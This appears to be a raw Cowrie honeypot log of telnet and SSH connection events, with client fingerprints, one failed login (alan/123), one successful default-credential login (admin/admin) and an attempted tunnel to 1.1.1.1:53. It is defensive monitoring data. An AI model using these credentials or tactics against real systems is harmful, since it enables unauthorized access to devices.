{"eventid":"cowrie.session.closed","duration":30.315509557724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:07.100072Z","src_ip":"69.6.225.50","session":"6824e3c45cd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39552,"dst_ip":"159.203.135.109","dst_port":23,"session":"37bbe75b5009","protocol":"telnet","message":"New connection: 69.6.225.50:39552 (159.203.135.109:23) [session: 37bbe75b5009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:07.142648Z"}
{"eventid":"cowrie.session.closed","duration":30.83362364768982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:07.167839Z","src_ip":"69.6.225.50","session":"2133be9eefcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39538,"dst_ip":"159.203.135.109","dst_port":23,"session":"82cf6d555eec","protocol":"telnet","message":"New connection: 69.6.225.50:39538 (159.203.135.109:23) [session: 82cf6d555eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:08.007241Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48906,"dst_ip":"159.203.135.109","dst_port":23,"session":"0becc9cd36e0","protocol":"telnet","message":"New connection: 69.6.225.50:48906 (159.203.135.109:23) [session: 0becc9cd36e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:08.180953Z"}
{"eventid":"cowrie.session.closed","duration":30.644468307495117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:09.054209Z","src_ip":"69.6.225.50","session":"b3d00a1f212c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48918,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ed817df22ce","protocol":"telnet","message":"New connection: 69.6.225.50:48918 (159.203.135.109:23) [session: 0ed817df22ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:09.857375Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48928,"dst_ip":"159.203.135.109","dst_port":23,"session":"fffb652d2ba1","protocol":"telnet","message":"New connection: 69.6.225.50:48928 (159.203.135.109:23) [session: fffb652d2ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:09.911143Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48936,"dst_ip":"159.203.135.109","dst_port":23,"session":"974bdeeb832b","protocol":"telnet","message":"New connection: 69.6.225.50:48936 (159.203.135.109:23) [session: 974bdeeb832b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:10.075139Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39098,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c4f51470149","protocol":"ssh","message":"New connection: 159.203.92.129:39098 (159.203.135.109:22) [session: 0c4f51470149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:10.123562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:10.128069Z","src_ip":"159.203.92.129","session":"0c4f51470149","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:10.132858Z","src_ip":"159.203.92.129","session":"0c4f51470149","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alan","password":"123","message":"login attempt [alan/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:10.145839Z","src_ip":"159.203.92.129","session":"0c4f51470149","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.49388837814331,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:10.721031Z","src_ip":"45.181.58.90","session":"59c8223a4470","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48948,"dst_ip":"159.203.135.109","dst_port":23,"session":"d530524695b1","protocol":"telnet","message":"New connection: 69.6.225.50:48948 (159.203.135.109:23) [session: d530524695b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:10.935835Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:11.151475Z","src_ip":"159.203.92.129","session":"0c4f51470149","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48946,"dst_ip":"159.203.135.109","dst_port":23,"session":"2abed120e226","protocol":"telnet","message":"New connection: 69.6.225.50:48946 (159.203.135.109:23) [session: 2abed120e226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:11.338614Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48964,"dst_ip":"159.203.135.109","dst_port":23,"session":"d159d13af4e2","protocol":"telnet","message":"New connection: 69.6.225.50:48964 (159.203.135.109:23) [session: d159d13af4e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:11.405086Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":39024,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea73fe1ac692","protocol":"ssh","message":"New connection: 87.251.64.176:39024 (10.17.0.5:22) [session: ea73fe1ac692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:11.665329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:11.672617Z","src_ip":"87.251.64.176","session":"ea73fe1ac692","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:11.769185Z","src_ip":"87.251.64.176","session":"ea73fe1ac692","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:12.065981Z","src_ip":"87.251.64.176","session":"ea73fe1ac692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.964820384979248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:12.072287Z","src_ip":"69.6.225.50","session":"fa67cac6069c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.721054553985596,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:12.075558Z","src_ip":"69.6.225.50","session":"36a0d89e4f7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48966,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ef50c663547","protocol":"telnet","message":"New connection: 69.6.225.50:48966 (159.203.135.109:23) [session: 7ef50c663547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:12.078734Z"}
{"eventid":"cowrie.session.closed","duration":31.017916202545166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:12.112042Z","src_ip":"69.6.225.50","session":"c73ec465a467","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:12.165381Z","session":"ea73fe1ac692","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:12.262809Z","src_ip":"87.251.64.176","session":"ea73fe1ac692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:12.361344Z","src_ip":"87.251.64.176","session":"ea73fe1ac692","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48970,"dst_ip":"159.203.135.109","dst_port":23,"session":"514325e7c251","protocol":"telnet","message":"New connection: 69.6.225.50:48970 (159.203.135.109:23) [session: 514325e7c251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:12.931376Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48986,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0e9e984df30","protocol":"telnet","message":"New connection: 69.6.225.50:48986 (159.203.135.109:23) [session: f0e9e984df30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:13.082469Z"}
{"eventid":"cowrie.session.closed","duration":30.725518703460693,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:14.048947Z","src_ip":"69.6.225.50","session":"0600f66bd403","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48994,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2a83a19feba","protocol":"telnet","message":"New connection: 69.6.225.50:48994 (159.203.135.109:23) [session: e2a83a19feba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:14.070856Z"}
{"eventid":"cowrie.session.closed","duration":30.44691252708435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:14.108978Z","src_ip":"69.6.225.50","session":"782511d92c5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":49010,"dst_ip":"159.203.135.109","dst_port":23,"session":"2168979dd791","protocol":"telnet","message":"New connection: 69.6.225.50:49010 (159.203.135.109:23) [session: 2168979dd791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:14.600047Z"}
{"eventid":"cowrie.session.closed","duration":30.982044458389282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:15.117331Z","src_ip":"69.6.225.50","session":"7e35b1e37ca0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54767417907715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:15.133962Z","src_ip":"69.6.225.50","session":"1a9511380388","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.038529872894287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:16.050800Z","src_ip":"69.6.225.50","session":"56d0cccd4fb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44025945663452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:16.064778Z","src_ip":"69.6.225.50","session":"93ac29741fc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":49026,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2822af82ee6","protocol":"telnet","message":"New connection: 69.6.225.50:49026 (159.203.135.109:23) [session: a2822af82ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:16.506953Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":49040,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1874bd966dd","protocol":"telnet","message":"New connection: 69.6.225.50:49040 (159.203.135.109:23) [session: c1874bd966dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:16.559042Z"}
{"eventid":"cowrie.session.closed","duration":39.85567879676819,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:16.872892Z","src_ip":"5.61.90.139","session":"a7a47af7fa40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":49048,"dst_ip":"159.203.135.109","dst_port":23,"session":"34ea364dc07c","protocol":"telnet","message":"New connection: 69.6.225.50:49048 (159.203.135.109:23) [session: 34ea364dc07c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:17.044246Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":49060,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3f26a8b71eb","protocol":"telnet","message":"New connection: 69.6.225.50:49060 (159.203.135.109:23) [session: b3f26a8b71eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:17.085066Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":49064,"dst_ip":"159.203.135.109","dst_port":23,"session":"c24e807f9484","protocol":"telnet","message":"New connection: 69.6.225.50:49064 (159.203.135.109:23) [session: c24e807f9484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:17.276405Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47174,"dst_ip":"159.203.135.109","dst_port":23,"session":"0534904f502d","protocol":"telnet","message":"New connection: 69.6.225.50:47174 (159.203.135.109:23) [session: 0534904f502d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:17.974102Z"}
{"eventid":"cowrie.session.closed","duration":30.696001052856445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:18.089309Z","src_ip":"69.6.225.50","session":"b2a4e000b6a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47188,"dst_ip":"159.203.135.109","dst_port":23,"session":"a09496a87311","protocol":"telnet","message":"New connection: 69.6.225.50:47188 (159.203.135.109:23) [session: a09496a87311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:18.467555Z"}
{"eventid":"cowrie.session.closed","duration":30.501745462417603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:19.138157Z","src_ip":"69.6.225.50","session":"3ed136aa1074","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.958982229232788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:19.157214Z","src_ip":"69.6.225.50","session":"32e9184fe8af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.095109462738037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:19.526559Z","src_ip":"69.6.225.50","session":"3800f9484123","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47192,"dst_ip":"159.203.135.109","dst_port":23,"session":"54aec2ee8402","protocol":"telnet","message":"New connection: 69.6.225.50:47192 (159.203.135.109:23) [session: 54aec2ee8402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:20.471251Z"}
{"eventid":"cowrie.session.closed","duration":32.361281871795654,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:20.783517Z","src_ip":"69.6.225.50","session":"04f42a38884c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47206,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d68b86f09c2","protocol":"telnet","message":"New connection: 69.6.225.50:47206 (159.203.135.109:23) [session: 6d68b86f09c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:20.923497Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47222,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7c4a21a9dfb","protocol":"telnet","message":"New connection: 69.6.225.50:47222 (159.203.135.109:23) [session: b7c4a21a9dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:21.004973Z"}
{"eventid":"cowrie.session.closed","duration":30.64989399909973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:21.072206Z","src_ip":"69.6.225.50","session":"474bd196b301","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80140972137451,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:22.145123Z","src_ip":"69.6.225.50","session":"82de2477da6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47224,"dst_ip":"159.203.135.109","dst_port":23,"session":"67afeede3e5e","protocol":"telnet","message":"New connection: 69.6.225.50:47224 (159.203.135.109:23) [session: 67afeede3e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:23.284712Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47228,"dst_ip":"159.203.135.109","dst_port":23,"session":"c055ee7db168","protocol":"telnet","message":"New connection: 69.6.225.50:47228 (159.203.135.109:23) [session: c055ee7db168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:23.397998Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47230,"dst_ip":"159.203.135.109","dst_port":23,"session":"50c27ad3bd69","protocol":"telnet","message":"New connection: 69.6.225.50:47230 (159.203.135.109:23) [session: 50c27ad3bd69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:23.777297Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47236,"dst_ip":"159.203.135.109","dst_port":23,"session":"e82eaee55917","protocol":"telnet","message":"New connection: 69.6.225.50:47236 (159.203.135.109:23) [session: e82eaee55917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:24.353778Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47240,"dst_ip":"159.203.135.109","dst_port":23,"session":"edafff7b5fbc","protocol":"telnet","message":"New connection: 69.6.225.50:47240 (159.203.135.109:23) [session: edafff7b5fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:24.660883Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47254,"dst_ip":"159.203.135.109","dst_port":23,"session":"89fc926df233","protocol":"telnet","message":"New connection: 69.6.225.50:47254 (159.203.135.109:23) [session: 89fc926df233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:24.733037Z"}
{"eventid":"cowrie.session.closed","duration":31.192461013793945,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:25.119099Z","src_ip":"69.6.225.50","session":"cd3159182cf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.893362998962402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:26.050442Z","src_ip":"69.6.225.50","session":"4201ba05a3aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90453004837036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:26.055442Z","src_ip":"69.6.225.50","session":"d330df0e8197","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.226702451705933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:27.127672Z","src_ip":"69.6.225.50","session":"ba087a9f5a7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":43244,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cd74f61420f","protocol":"telnet","message":"New connection: 144.79.218.12:43244 (10.17.0.5:23) [session: 9cd74f61420f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:27.433491Z"}
